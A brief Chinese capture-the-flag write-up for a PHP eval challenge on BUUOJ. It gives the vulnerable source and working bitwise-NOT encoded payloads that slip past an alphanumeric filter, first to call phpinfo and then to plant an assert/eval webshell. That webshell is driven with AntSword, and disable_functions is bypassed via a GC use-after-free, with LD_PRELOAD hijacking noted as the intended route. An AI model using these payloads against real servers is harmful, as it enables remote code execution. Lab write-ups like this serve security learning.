知識點
- LD_PRELOAD
題目給了源碼
<?php error_reporting(0); if(isset($_GET['code'])){ $code=$_GET['code']; if(strlen($code)>40){ die("This is too Long."); } if(preg_match("/[A-Za-z0-9]+/",$code)){ die("NO."); } @eval($code); } else{ highlight_file(__FILE__); } // ?>
構造取反讀取phpinfo
<?php $s = 'phpinfo'; echo urlencode(~$s); #%8F%97%8F%96%91%99%90 ?>
payload
?code=(~%8F%97%8F%96%91%99%90)();
讀取到phpinfo頁面,發現disable_functions禁了很多函數
構造取反連接蟻劍
<?php
$a = 'assert';
echo urlencode(~$a)."\n";
$b = '(eval($_POST[cmd]))';
echo urlencode(~$b)."\n";
#%9E%8C%8C%9A%8D%8B
#%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9C%92%9B%A2%D6%D6
?>
使用蟻劍連接
http://2b912c75-fe79-4450-8cd4-c8532f83e63f.node3.buuoj.cn/?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9C%92%9B%A2%D6%D6); 密碼:cmd
看到根目錄下存在flag和readflag文件
應該是通過執行readflag來讀取flag,但是這里的shell命令基本上都被禁了
我們可以通過蟻劍的繞過disable_functions來執行
這里選擇PHP_GC_UAF
以上是非預期解,參考https://www.cnblogs.com/yesec/p/12483631.html
預期解應為通過環境變量LD_PRELOAD+mail劫持so來執行系統命令